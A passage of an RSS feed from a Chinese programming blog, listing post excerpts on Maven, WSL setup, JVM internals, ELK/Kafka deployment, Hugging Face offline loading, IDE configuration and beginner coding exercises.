      <description>一、概述 从idea2019切换到2023.2.2版本后发现新版本自带的maven（版本号3.9.2）启动程序后依赖的jar对应的项目就不能正常打包，具体内容如下：&#xA;二、问题描述 1、一个有A,B两个项目，A项目依赖B项目使用maven打出来的jar&#xA;2、A项目正常启动后，使用idea重新打包&#xA;3、日志栏出现报错提示：&#xA;D:\maven\ldyx\repository\com\ldyx\common\common-component\1.0.0-SNAPSHOT\common-component-1.0.0-SNAPSHOT.jar.14328037589785374012.tmp -&amp;gt; D:\maven\ldyx\repository\com\ldyx\common\common-component\1.0.0-SNAPSHOT\common-component-1.0.0-SNAPSHOT.jar&#xA;大概意思是打包出来的临时文件无法tmp将原来的jar覆盖&#xA;4、手动去文件资源管理器直接删除，提示文件被占用，将A项目停掉后重试也不起作用&#xA;5、将idea重启有效，但是这种方法太呆了，睡了一觉后想到可能是maven打包问题，于是看了一下idea2019自带的maven版本，果然和2023的不一样，于是乎尝试了下述方案，问题解决。&#xA;三、解决方案 将idea设置为自己安装的maven，本文使用的版本是3.6.1设置路径：file-&amp;gt;settings-&amp;gt;build,Execution,Deployment-&amp;gt;Build Tools-&amp;gt;maven</description>
    </item>
    <item>
      <title>windows10下linux子系统(wsl)</title>
      <link>https://bchobby.github.io/posts/ac11124c327546b713d2d7d20298941c/</link>
      <pubDate>Sun, 24 Sep 2023 21:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac11124c327546b713d2d7d20298941c/</guid>
      <description>文章目录 windows10下linux子系统安装如何更改安装目录到其他盘如何重启 Windows 10 子系统（WSL) ubuntuwsl升级为wsl2WSL中启动docker如何找到wsl子系统对应的本地文件目录在wsl中如何访问window文件其他遇到docker: unrecognized service 参考 windows10下linux子系统 windows10可以安装linux子系统，但是就目前个人使用感受来说，作为新手入门和学习linux可以使用，但若是作为开发中的编译环境来使用那就不可了，经常会报出一些出乎意料的错误，慎用官方说明文档：https://docs.microsoft.com/zh-cn/windows/wsl/ 适用于 Linux 的 Windows 子系统概述 | Microsoft Docs 安装 在windows10下安装linux子系统可以参考微软的文档https://docs.microsoft.com/en-us/windows/wsl/install-win10，其实主要也就三步&#xA;step1.管理员打开PowerShell,运行如下命令后会提示重启&#xA;Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux step2.在微软商店搜索ubuntu进行下载安装&#xA;step3.安装完成后进入ubuntu会提示创建用户和密码，按提示做就行了&#xA;安装完Ubuntu后忽然意识到没有设置root密码，我们可以在终端输入命令 sudo passwd，然后输入当前用户的密码，enter，终端会提示我们输入新的密码并确认，此时的密码就是root新密码。修改成功后，输入命令 su root，再输入新的密码就ok了&#xA;如果你想默认root用户登录，那么打开cmd执行以下命令即可&#xA;&amp;lt;ubuntu版本&amp;gt; config --default-user root ‪其中的 &amp;lt;ubuntu版本&amp;gt; 并不是固定的，你可以到此路径下查看：C:\Users\&amp;lt;用户名&amp;gt;\AppData\Local\Microsoft\WindowsApps，比如我的查到为ubuntu2004.exe ，那么我就执行&#xA;ubuntu2004 config --default-user root 如何更改安装目录到其他盘 默认情况下wsl是安装在c盘的，如果我们的c盘比较吃紧的话，那么就需要考虑迁移到其他盘,命令示例如下wsl -l --all -v # 查看已安装的linux发行版本 wsl --export Ubuntu d:\wsl2-ubuntu.tar # 导出分发版为tar文件到d盘 wsl --unregister Ubuntu # 注销当前分发版 wsl --import Ubuntu d:\wsl2-ubuntu d:\wsl2-ubuntu.tar --version 2 # 重新导入并安装WSL在D盘 del d:\wsl2-ubuntu.</description>
    </item>
    <item>
      <title>报错处理：Java Heap Space Error</title>
      <link>https://bchobby.github.io/posts/fcb12b1730e5a19d6164d1519612910c/</link>
      <pubDate>Sun, 24 Sep 2023 21:41:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcb12b1730e5a19d6164d1519612910c/</guid>
      <description>大家好，今天我来分享一个我在运维过程中遇到的问题，关于Linux上Tomcat启动时出现的“Java Heap Space Error”（Java堆内存错误），以及如何解决这个问题的。&#xA;首先，让我们来看看这个报错信息。当你在启动Tomcat时，如果你看到类似以下的错误信息：&#xA;java.lang.OutOfMemoryError: Java heap space 那么，这意味着Java虚拟机（JVM）在尝试分配更多的内存时遇到了问题。在这种情况下，以下是可能的原因和解决方案：&#xA;内存不足：首先，检查你的服务器内存使用情况。如果内存不足，你可以尝试关闭一些不必要的服务或者增加服务器的内存。如果你在虚拟机中运行Tomcat，你也可以尝试增加虚拟机的内存分配。&#xA;JVM配置不当：在Tomcat的配置文件（通常是setenv.sh或setenv.bat）中，可以设置JVM的内存参数，如-Xms和-Xmx。-Xms表示JVM初始堆大小，-Xmx表示JVM最大堆大小。你可以尝试增大这两个参数的值，但需要注意不要超过你的服务器物理内存或虚拟机的最大内存。&#xA;程序内存泄漏：如果你的应用或Tomcat本身存在内存泄漏的问题，也会导致内存耗尽。这时需要详细分析应用的内存使用情况，检查是否存在长时间不能被垃圾回收的对象。如果是Tomcat本身的问题，可能需要升级到更高版本的Tomcat或者向Tomcat官方反馈问题。&#xA;其他系统问题：有时候，其他系统问题也可能导致内存不足的错误。例如，磁盘空间不足、进程被过度CPU资源等。在解决上述问题后，如果仍然无法启动Tomcat，可以尝试查看系统日志或Tomcat的错误日志，查找更多关于问题的信息。&#xA;总之，如果你遇到类似的报错信息，可以从上述几个方面入手，逐步排查并解决问题。记得在进行任何配置更改或系统调整前，备份重要的数据，并确保你知道如何撤销更改以恢复到之前的状态。&#xA;最后，如果你还有其他问题或者需要进一步的帮助，欢迎关注我的公众号【运维家】，并在文章下方留言或者私信我。我会尽力回复并提供帮助。谢谢！</description>
    </item>
    <item>
      <title>数据结构 线性表习题</title>
      <link>https://bchobby.github.io/posts/826f69663dee27b760320a1b1cf16500/</link>
      <pubDate>Sun, 24 Sep 2023 19:04:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/826f69663dee27b760320a1b1cf16500/</guid>
      <description>假设我们有一个顺序表 L，其中存储了一些元素。我们将通过这个算法来删除顺序表中最后一个大于其后继元素的元素。&#xA;1. 首先，我们初始化两个变量 i 和 j。&#xA;- 变量 i 作为循环变量，用于遍历顺序表 L 的元素。&#xA;- 变量 j 初始化为 0，用于记录最后一个满足条件的元素的位置。&#xA;2. 开始循环遍历顺序表 L。从位置 l（注意，这里 l 是一个变量）开始，一直遍历到顺序表的最后一个元素（索引为 L-&amp;gt;length - 1）。&#xA;3. 在每次循环中，我们比较当前元素 L-&amp;gt;data[i] 与其后继元素 L-&amp;gt;data[i+1] 的值。&#xA;- 如果当前元素大于其后继元素，说明我们找到了满足条件的元素。我们将 j 更新为当前的位置 i，以便后续操作中删除该元素。&#xA;4. 循环结束后，我们得到顺序表 L 中最后一个大于其后继元素的元素的位置 j。&#xA;5. 接下来，我们使用另一个循环，从位置 j 开始，将顺序表 L 中后续元素依次左移一位，以覆盖掉最后一个大于其后继元素的元素。&#xA;- 也就是将 L-&amp;gt;data[i] 的值更新为 L-&amp;gt;data[i+1]，直到顺序表的倒数第二个元素（索引为 L-&amp;gt;length - 2）。&#xA;6. 最后，我们将顺序表 L 的长度减一（L-&amp;gt;length--），表示删除了一个元素。&#xA;这样，最后一个大于其后继元素的元素将被删除，并且顺序表的长度减小了一。&#xA;请注意，这段代码是使用 C 语言编写的，其中出现的 &#34;-&amp;gt;&#34; 操作符用于访问指向结构体的指针中的成员。&#xA;该算法的目标是将元素 x 插入到顺序表 L 中，同时保持顺序表的有序性。</description>
    </item>
    <item>
      <title>elk&#43;kafka日志分析系统搭建</title>
      <link>https://bchobby.github.io/posts/e0734cebb00fb8bf25410ec07b07f258/</link>
      <pubDate>Sun, 24 Sep 2023 18:19:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0734cebb00fb8bf25410ec07b07f258/</guid>
      <description>目录&#xA;一、elk引入&#xA;二、认识elk+kafka+filebeat&#xA;Elasticsearch&#xA;Logstash&#xA;Kibana&#xA;kafka&#xA;三、elk+kafka架构图&#xA;四、elasticsearch部署&#xA;1、服务器情况&#xA;2、添加环境变量&#xA;3、系统性能优化&#xA;4、node1节点部署&#xA;5、启动集群&#xA;6、查看集群状态&#xA;五、kibana&#xA;1、部署环境&#xA;2、安装kibana&#xA;3、启动kibana&#xA;六、部署kafka&#xA;1、部署环境&#xA;2、安装kafka&#xA;3、启动zookeeper&#xA;4、启动kafka&#xA;5、验证kafka&#xA;七、logstash部署&#xA;1、环境部署&#xA;2、安装lostash&#xA;3、启动logstash&#xA;八、filebeat部署&#xA;1、环境部署&#xA;2、安装filebeat&#xA;3、启动filebeat&#xA;九、启动nginx验证kibana是否正常展示数据&#xA;1、启动nginx&#xA;2、登录kibana验证&#xA;一、elk引入 如果在实际生产情况下，查看日志大都通过SSH客户端登服务器去看，使用较多的命令就是 less 、cat、head、tail。如果服务部署了几十台甚至上百台服务器，就要分别登录到这些台机器上看，这样大大的降低了我们的工作效率，等到了分布式和微服务架构流行时代，一个从APP或H5发起的请求除了需要登陆服务器去排查日志，往往还会经过远程软件远程到了别的主机继续处理，开发人员定位问题可能还需要根据TraceID或者业务唯一主键去跟踪服务的链路日志，基于传统SSH方式登陆主机查看日志的方式就像图中排查线路的工人一样困难，线上服务器几十上百之多，出了问题难以快速响应，因此需要高效、实时的日志存储和检索平台，ELK就提供这样一套解决方案。&#xA;二、认识elk+kafka+filebeat ELK是三个开源软件的缩写，分别表示：Elasticsearch , Logstash, Kibana , 它们都是开源软件。Filebeat是用于转发和集中日志数据的轻量级传送工具。Filebeat监视您指定的日志文件或位置，收集日志事件，并将它们转发到Elasticsearch或 Logstash进行索引。&#xA;首先，elk作为日志分析架构，主要使用这几个组合：filebeat（采集）+logstash（管道）+elasticsearch（存储和搜索）+kibana（日志应用）的这种组合比较常见。&#xA;kafka作为适合大吞吐数据的临时队列，比较适合放置在filebeat和logstash之间&#xA;Elasticsearch Elasticsearch 是一个实时的分布式存储、搜索、分析的引擎。&#xA;Elasticsearch 是一个分布式的、开源的搜索分析引擎，支持各种数据类型，包括文本、数字、地理、结构化、非结构化。&#xA;Elasticsearch 因其简单的 REST API、分布式特性、告诉、可扩展而闻名。&#xA;Elasticsearch 是 Elastic 产品栈的核心，Elastic 产品栈是个开源工具集合，用于数据接收、存储、分析、可视化。&#xA;Logstash Logstash是具有实时流水线能力的开源的数据收集引擎。Logstash可以动态统一不同来源的数据，并将数据标准化到您选择的目标输出。它提供了大量插件，可帮助我们解析，丰富，转换和缓冲任何类型的数据&#xA;Kibana Kibana是一个开源的分析与可视化平台，设计出来用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互方式是各种不同的图表、表格、地图等，直观的展示数据，从而达到高级的数据分析与可视化的目的。&#xA;kafka Kafka是Apache旗下的一款分布式流媒体平台，Kafka是一种高吞吐量、持久性、分布式的发布订阅的消息队列系统。 它最初由LinkedIn(领英)公司发布，使用Scala语言编写，与2010年12月份开源，成为Apache的顶级子项目。 它主要用于处理消费者规模网站中的所有动作流数据。动作指(网页浏览、搜索和其它用户行动所产生的数据)。</description>
    </item>
    <item>
      <title>Python 逢七拍手小游戏1.0</title>
      <link>https://bchobby.github.io/posts/c100d4ea86a40d89fcebf84c415d4f9b/</link>
      <pubDate>Sun, 24 Sep 2023 14:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c100d4ea86a40d89fcebf84c415d4f9b/</guid>
      <description>&#34;&#34;&#34; 逢七拍手游戏 介绍： 逢七拍手游戏的规则是：从1开始顺序数数，数到有7，或者是7的倍数时，就拍一手。 例如：7、14、17......70...... 知识点： 1、循环语句for 2、嵌套条件语句if/elif/else 3、数据类型转换 4、字符串索引 5、退出程序函数exit() 举一反三： 1、当输入非整数时，如何给出提示，并重新输入 2、如何循环输入，直至满足退出条件 &#34;&#34;&#34; count = 0 # 计次 # 提示语 print(&#39;根据您输入数字，输出它倍数以及包含它的所有数&#39;) num = int(input(&#39;请输入1-9的数字：&#39;)) # 制定范围 if num &amp;lt; 1 or num &amp;gt; 9: print(&#39;输入有误！请重新输入1-9的数字&#39;) exit() # 停止当前程序的执行并退出 # 在1-100中找到倍数和包含本身的数 for i in range(1, 101): # 倍数 if i % num == 0: print(i, end=&#39;\t&#39;) count += 1 # 计数 # 包含本身的数 else: for j in str(i): if j == str(num): print(i, end=&#39;\t&#39;) count += 1 # 计数 # 换行排列 if count % 5 == 0 and count !</description>
    </item>
    <item>
      <title>Hugging Face 无法连接问题 OSError: We couldn‘t connect to ‘https://huggingface.co‘ to load this file 解决方案</title>
      <link>https://bchobby.github.io/posts/5f3d99d6ec39623ac43f47337c4ef3ae/</link>
      <pubDate>Sat, 23 Sep 2023 23:30:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f3d99d6ec39623ac43f47337c4ef3ae/</guid>
      <description>今天打算用一下hugging face的BERT模型，跑代码的时候显示连接不了，应该是hugging face的网站不稳定，国内连接比较困难。报错信息如下：&#xA;解决方案很简单，根据报错的提示，打开Hugging Face官网，将所需要的模型下载到本地，更改一下引用路径就可以啦！&#xA;step 1：打开Hugging Face官网https://huggingface.co/docs/transformers/installation#offline-mode：&#xA;step 2：搜索你需要的模型，点击Files and version，这里是bert-base-uncased：&#xA;step 3：根据你的框架选择合适的文件，我用的是pytorch （如果是TensorFlow就将pytorch_model.bin换成tf_model.h5就好啦），选择以下五个文件下载到本地：&#xA;step 4：将下载好的文件放在你需要的目录下，比如我这里建立了一个bert-base-uncased文件夹存放：&#xA;step 5：将用到的地方改成你自己的路径就可以啦！</description>
    </item>
    <item>
      <title>JVM字节码结构文件剖析</title>
      <link>https://bchobby.github.io/posts/311717fa541f06cfd90dfd1927182ab9/</link>
      <pubDate>Sat, 23 Sep 2023 22:52:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311717fa541f06cfd90dfd1927182ab9/</guid>
      <description>提问：java中对多能实现多少个接口？ 00 00==&amp;gt;FFFF==&amp;gt;15*16^3+15*16^2+15*16+15&#xA;class常量池类型分类 一:源代码 package com.tuling.smlz.jvm.classbyatecode; /** * Created by smlz on 2019/11/5. */ public class TulingByteCode { private String userName; public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } } 二:通过我们javap -verbose TulingByteCode .class反编译 //表示我们通过反编译的来源是哪个字节码文件 Classfile /D:/work_space/idea_space/spring-cloud-source/tuling-jvm/target/classes/com/tuling/smlz/jvm/classbyatecode/TulingByteCode.class //最后修改日期；文件大小 Last modified 2019-11-5; size 629 bytes //文件的md5值 MD5 checksum a0a9c001787f00738627278b0946a388 //.class文件是通过哪个源文件编译过来的 Compiled from &#34;TulingByteCode.java&#34; //字节码的详细信息 public class com.tuling.smlz.jvm.classbyatecode.TulingByteCode //jdk的次版本号 minor version: 0 //jdk的主版本号 major version: 52 //访问权限 flags: ACC_PUBLIC, ACC_SUPER //常量池 Constant pool: #1 = Methodref #4.</description>
    </item>
    <item>
      <title>ide(pycharm,goland...)装多个lua插件导致奔溃的解决方案</title>
      <link>https://bchobby.github.io/posts/d51913fe987be325b59ad157b10a5bc1/</link>
      <pubDate>Sat, 23 Sep 2023 21:15:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51913fe987be325b59ad157b10a5bc1/</guid>
      <description>去对应目录下删除插件（注意：不是IDE的安装目录）：&#xA;Windows: Configuration (idea.config.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\JetBrains\IntelliJIdea2020.3 Plugins (idea.plugins.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\JetBrains\IntelliJIdea2020.3\plugins System (idea.system.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Local\JetBrains\IntelliJIdea2020.3 Logs (idea.log.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Local\JetBrains\IntelliJIdea2020.3\log macOS: Configuration (idea.config.path): ~/Library/Application Support/JetBrains/IntelliJIdea2020.3 Plugins (idea.plugins.path): ~/Library/Application Support/JetBrains/IntelliJIdea2020.3/plugins System (idea.system.path): ~/Library/Caches/JetBrains/IntelliJIdea2020.3 Logs (idea.log.path): ~/Library/Logs/JetBrains/IntelliJIdea2020.3 Linux: Configuration (idea.config.path): ~/.config/JetBrains/IntelliJIdea2020.3 Plugins (idea.plugins.path): ~/.local/share/JetBrains/IntelliJIdea2020.3 System (idea.system.path): ~/.cache/JetBrains/IntelliJIdea2020.3 Logs (idea.log.path): ~/.cache/JetBrains/IntelliJIdea2020.3/log 删除插件即可：&#xA;附——离线下载插件 离线下载地址：&#xA;http://plugins.jetbrains.com/&#xA;1、下载插件：http://plugins.jetbrains.com/&#xA;2、安装插件：settings -&amp;gt; plugins -&amp;gt; install plugin from disk，然后重启IDEA即可。</description>
    </item>
    <item>
      <title>webpack4&#43;vue3.0&#43;element-plus创建基于vue3的项目</title>
      <link>https://bchobby.github.io/posts/0f1d3d64bc87c5bde21421435f19a06d/</link>
      <pubDate>Sat, 23 Sep 2023 16:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f1d3d64bc87c5bde21421435f19a06d/</guid>
      <description>webpack4+vue3.0创建基于vue3的项目 1 安装vue vue-cli2 创建步骤2.1 创建命令2.2 Please pick preset(选择预定配置）2.3 Check the features needed for your project (选择你项目需要添加的功能)2.4 Choose a version of Vue.js that you want to start the project with (选择项目使用的vue版本)2.5 Use history mode for router? (路由是否使用 history模式)2.6 Pick a CSS pre-processor ： (选择一个CSS预处理器)2.7 Pick a linter / formatter config (选择一个格式化配置)2.8 Pick additional lint features (选择代码格式检查时机)2.9 Where do you prefer placing config for Babel, ESLint, etc.?2.10 Save this as a preset for future projects?</description>
    </item>
    <item>
      <title>PTA 编程题 -- 后天</title>
      <link>https://bchobby.github.io/posts/e1467655fcc74e17646853d9ef1a7cda/</link>
      <pubDate>Fri, 22 Sep 2023 22:52:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1467655fcc74e17646853d9ef1a7cda/</guid>
      <description> 如果今天是星期三，后天就是星期五；如果今天是星期六，后天就是星期一。我们用数字1到7对应星期一到星期日。给定某一天，请你输出那天的“后天”是星期几。&#xA;输入格式： 输入第一行给出一个正整数D（1 ≤ D ≤ 7），代表星期里的某一天。&#xA;输出格式： 在一行中输出D天的后天是星期几。&#xA;输入样例： 3 输出样例： 5 思路：先计算今天是星期一后的第几天。显然如果今日是星期D，那么今天就是星期一后的第D-1天。所以后天就是星期一后的第D-1+2天。如果这个数小于等于6，那么后天的星期数就是1+(D-1+2)；如果这个数大于等于7了，说明从星期一起算，后天经过的时间超过一周了，我们需要对它模7，得到(D-1+2)%7，然后后天的星期数就是1+(D-1+2)%7。综合起来看，如果一个数小于等于6，那么模7等于没模，所以后天的星期数可以统一写成1+(D-1+2)%7。&#xA;这个思路好处是不但能计算后天，还能计算后n天是星期几。&#xA;代码：&#xA;#include &amp;lt;stdio.h&amp;gt; int main () { int D; scanf(&#34;%d&#34;, &amp;amp;D); printf(&#34;%d&#34;,1+(D-1+2)%7); return 0; } 更多PTA题目的的参考代码，可以在下面的小程序里找到哦 </description>
    </item>
    <item>
      <title>Java JVM分析利器JProfiler 结合IDEA使用详细教程</title>
      <link>https://bchobby.github.io/posts/d3bd727a70fe2ae12c2a0098cfcc369b/</link>
      <pubDate>Fri, 22 Sep 2023 20:38:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3bd727a70fe2ae12c2a0098cfcc369b/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、JProfiler是什么？二、我的环境三、安装步骤1.Idea安装JProfiler插件1.下载程序的安装包 四、启动 前言 对于我们Java程序员而言，肯定需要对项目工程进行JVM监控分析，最终选择jprofiler，它可以远程链接，使用方便，功能也很强大！&#xA;一、JProfiler是什么？ JProfiler是一个重量级的JVM监控工具，提供对JVM精确监控，其中堆遍历、CPU剖析、线程剖析看成定位当前系统瓶颈的得力工具。可以统计压测过程中JVM的监控数据，定位性能问题。&#xA;二、我的环境 IDEA版本：IntelliJ IDEA 2023.1.2&#xA;JDK版本：JDK17&#xA;三、安装步骤 1.Idea安装JProfiler插件 手动下载插件的地址：点击下载&#xA;IDEA操作路径：File-&amp;gt;Settings-&amp;gt;Plugins 搜索：JProfiler 然后点击Install&#xA;快捷键：Ctrl+Alt+s&#xA;安装成功后Idea如下图：&#xA;1.下载程序的安装包 官网下载地址：点击访问下载&#xA;点击DOWNLOAD,然后根据你的操作系统选择对应的下载安装包，我的是Windows系统，我就下载Windows的安装包！&#xA;下载完成后进行安装&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/a0cf4eefab0f4c2ea4d4006ac18eb889.png&#xA;安装路径可以自己选择，我选择默认的&#xA;接下来需要配置许可证，需要去官网进行申请，填写姓名，公司名称，邮箱然后点击PROCEED&#xA;注册网址：点击访问&#xA;然后你会收到一份邮件，将注册码复制出来，&#xA;然后回到注册界面，填写好信息&#xA;截止出现上面的界面，就代表已经安装成功了！&#xA;四、启动 会自动获取填充&#xA;就启动成功了！然后就可以很直观的看到数据了！</description>
    </item>
    <item>
      <title>坐标文件的加前缀处理</title>
      <link>https://bchobby.github.io/posts/f6f56d66a897d6a84172540293a05be3/</link>
      <pubDate>Fri, 22 Sep 2023 17:10:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6f56d66a897d6a84172540293a05be3/</guid>
      <description>野外测量坐标文件，统一加前缀。&#xA;代码如下，提取每条记录的第一个数字，加前缀后，补齐4位。&#xA;import easygui as eg import re qz=&#34;AAABCA&#34; str1 = eg.fileopenbox(&#39;选择数据文件.&#39;) eg.msgbox(str1) fn=str1 fn1=fn+&#39;.txt&#39; f1=open(fn1,&#39;w&#39;,encoding=&#39;utf-8&#39;) with open(fn,&#39;r&#39;,encoding=&#39;utf-8&#39;) as f: ss=f.readlines() for e in ss: t=e no=re.findall(r&#39;\d+&#39;,e)[0] lst=t.split(&#34;,&#34;)[1:] tt=&#39;,&#39;.join(lst) no=&#34;{:0&amp;gt;4}&#34;.format(no) t1=qz+no+&#39;,&#39;+tt f1.write(t1) f1.close() 先选择数据文件fn，然后生成数据文件fn.txt。</description>
    </item>
    <item>
      <title>前端界面直接生成源码？用这个工具直接生成VUE代码，简单易用</title>
      <link>https://bchobby.github.io/posts/4cb309ef6d827f2aaf8dd86b80709ad7/</link>
      <pubDate>Fri, 22 Sep 2023 17:07:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cb309ef6d827f2aaf8dd86b80709ad7/</guid>
      <description>推荐一个前端代码生成工具iVX。我个人使用这个工具也有一段时间了，感觉做的很不错。有需要生成前端代码的同学可以关注了解一下，在下面的这个例子中，我生成了两个编辑框和两个按钮。&#xA;上手一个工具的最便捷路径就是看它的官方文档和教程。同样，iVX官网也提供了这些详细的教程以及相应的案例。沉下心来，跟着每一节课慢慢的去学习，你就会了解到iVX的强大。&#xA;首先，我要向大家说明的是iVX并不是一个免费的软件，因为当你使用它的发布按钮时你会发现它是需要钱的。但是先不要着急排斥，你在iVX做的程序如果想要直接发布成一个应用程序的话，那么它是需要钱的。如果你只是使用iVX生成界面代码的话，并且导出源码，那么它是免费的&#xA;我们只需要点击页面右上角的文件，然后选择导出前端源码即可将代码导出为一个压缩包。在点击导出前端源码这个按钮，浏览器会弹出一个窗口下载这个压缩包，压缩包内就是我们需要用到的源码。&#xA;这个iVX生成的源码的下载界面截图。需要注意的，在导出源码之前，你不要忘记点击保存。。。因为它不是自动保存的，我一开始忘记点保存，卡了好久。。点击保存后，直接就可以生成源码了。&#xA;看，这是iVX生成的源码，不错吧！我个人之所以喜欢这个工具，很大原因是我是一个后台开发者，前端的东西感觉很复杂又不想碰，所以选择了iVX，如果你跟我一样的话，那么是个不错的选择。如果你本身就是一个前端开发者的话，那么这个工具会更好的帮助到你。&#xA;在iVX的官网上有它的详细教程，这个教程可以方便我们很快的学会它这个界面编程。前面也讲了，本身iVX是通过界面拖拽的方式来自动生成代码的，使用VB6以及C#的同学应该都知道，很方便。比你手动写UI界面代码也方便的多了&#xA;当然我们不能指望这东西生成的代码完全符合我们的要求，这个后面肯定要改的。但的确可以为我们提供不同的思路，而且说实话它的组件真的挺多的。。。那啥地图它都有。。所以我想无论是在学习前端的同学，还是已经上手的同学用起来都挺方便的。至于它生成应用程序收费这个，人家也要吃饭。不过导出源码这个免费，可以让我们有极大的操作&#xA;空间了。最后如果对你有帮助，记得点赞收藏评论关注！</description>
    </item>
    <item>
      <title>Java内存模型-JMM</title>
      <link>https://bchobby.github.io/posts/311a2fdf6832615f1983eee6ebecbd7c/</link>
      <pubDate>Fri, 22 Sep 2023 16:50:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311a2fdf6832615f1983eee6ebecbd7c/</guid>
      <description>文章目录 说明主内存与工作内存内存间交互操作volatile关键字可见性禁止指令重排序 针对long和double型变量的特殊规则原子性、可见性与有序性先行先发生原则 说明 Java内存模型（Java Memory Model，JMM）是Java编程语言中用于管理多线程并发访问共享内存的规范。它定义了多线程程序中内存访问的行为和规则，以确保程序在不同的计算机体系结构和JVM实现中的一致性和可预测性。&#xA;主内存与工作内存 Java内存模型的主要目的是定义程序中各种变量的访问规则，即关注在虚拟机中把变量值存储到内存和从内存中取出变量值这样的底层细节。为了获得更好的执行效能，Java内存模 型并没有限制执行引擎使用处理器的特定寄存器或缓存来和主内存进行交互，也没有限制即时编译器是否要进行调整代码执行顺序这类优化措施。&#xA;Java内存模型规定了所有的变量都存储在主内存（Main Memory，也是虚拟机内存的一部分）中。每条线程还有自己的工作内存（Working Memory，可以理解为高速缓存），线程的工作内存中保存了被该线程使用的变量的主内存副本，线程对变量的所有操作（读取、赋值等）都必须在工作内存中进行，而不能直接读写主内存中的数据。不同的线程之间也无法直接访问对方工作内存中的变量，线程间变量值的传递均需要通过主内存来完成，如下图&#xA;内存间交互操作 关于主内存与工作内存之间具体的交互协议，即一个变量如何从主内存拷贝到工作内存、如何从 工作内存同步回主内存这一类的实现细节，Java内存模型中定义了以下8种操作来完成。Java虚拟机实 现时必须保证下面提及的每一种操作都是原子的、不可再分的&#xA;lock（锁定）：作用于主内存的变量，它把一个变量标识为一条线程独占的状态。&#xA;unlock（解锁）：作用于主内存的变量，它把一个处于锁定状态的变量释放出来，释放后的变量才可以被其他线程锁定。&#xA;read（读取）：作用于主内存的变量，它把一个变量的值从主内存传输到线程的工作内存中，以便随后的load动作使用。&#xA;load（载入）：作用于工作内存的变量，它把read操作从主内存中得到的变量值放入工作内存的 变量副本中。&#xA;use（使用）：作用于工作内存的变量，它把工作内存中一个变量的值传递给执行引擎，每当虚拟机遇到一个需要使用变量的值的字节码指令时将会执行这个操作。&#xA;assign（赋值）：作用于工作内存的变量，它把一个从执行引擎接收的值赋给工作内存的变量， 每当虚拟机遇到一个给变量赋值的字节码指令时执行这个操作。&#xA;store（存储）：作用于工作内存的变量，它把工作内存中一个变量的值传送到主内存中，以便随后的write操作使用。&#xA;write（写入）：作用于主内存的变量，它把store操作从工作内存中得到的变量的值放入主内存的变量中。&#xA;可以将Java内存模型的操作简化为read、write、lock和unlock四种，但这只是语言描述上的等价化简，Java内存模型的基础设计并未改变。&#xA;volatile关键字 关键字volatile可以说是Java虚拟机提供的最轻量级的同步机制，Java内存模型为volatile专门定义了一些特殊的访问规则。&#xA;当一个变量被定义成volatile之后，它将具备两项特性：第一项是保证此变量对所有线程的可见，第二个语义是禁止指令重排序优化，这里进行说明。&#xA;可见性 在多线程编程中，当一个线程修改了一个共享变量的值时，其他线程可能不会立即看到这个变化。因为每个线程都有自己的工作内存，都有一份共享变量的副本，每个线程可能会在自己的工作内存中缓存共享变量的值，而不是直接从主内存中读取。&#xA;使用volatile关键字可以解决工作多线程先共享变量的可见性问题&#xA;volatile 读写操作如下：&#xA;写入操作：每次对 volatile 变量的写入操作都会立即刷新到主内存中，而不会在本地线程缓存中保留副本。这确保了其他线程在读取时可以看到最新的值。&#xA;读取操作：每次对 volatile 变量的读取操作都会从主内存中获取最新的值，而不是使用本地缓存的旧值。这确保了读操作能够看到写操作的效果。&#xA;因此，volatile 关键字确保了在多线程环境下对变量的读写都与主内存同步，从而实现了可见性。这使得任何一个线程对 volatile 变量的修改都会被立即反映到主内存，而其他线程在读取该变量时可以看到最新的值，而不需要担心线程间的数据不一致性问题。&#xA;禁止指令重排序 下面先说一个指令重排序出现的问题&#xA;假设有一个包含两个整数字段的类：&#xA;class ReorderExample { private int x = 0; private volatile boolean flag = false; public void writer() { x = 42; // 写操作1 flag = true; // 写操作2 } public void reader() { if (flag) { // 读操作1 System.</description>
    </item>
    <item>
      <title>VScode配置默认终端为Anaconda Prompt (2023/9)</title>
      <link>https://bchobby.github.io/posts/8283f814a63876dae903861d889dc888/</link>
      <pubDate>Fri, 22 Sep 2023 16:26:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8283f814a63876dae903861d889dc888/</guid>
      <description>网上一堆教程说的是在设置中的Terminal › Integrated › Shell: Window进行配置，但是新版的VScode已经找不到这个设置项了。&#xA;新版VScode可以首先找到Terminal › Integrated › Profiles: Window，之后点击edit in setting.json，然后setting.json会出现一些默认的格式。如图：&#xA;如果安装过anaconda是有“Command Prompt&#34;的参数的，之后我们找到Anconda Prompt，右键选择属性，将目标里的参数复制下来，将对应的部分放进“Command Prompt&#34;的”args&#34;里即可。&#xA;如果想进一步设置点击New Terminal默认就是开启cmd的话（VScode默认是PS），再setting.json中再添加一句：&#xA;&#34;terminal.integrated.defaultProfile.windows&#34;: &#34;Command Prompt&#34; 注意这一行是和上面的&#34;terminal.integrated.profiles.windows&#34;是同级的，即：</description>
    </item>
    <item>
      <title>关于CANoeIL层的capl用法</title>
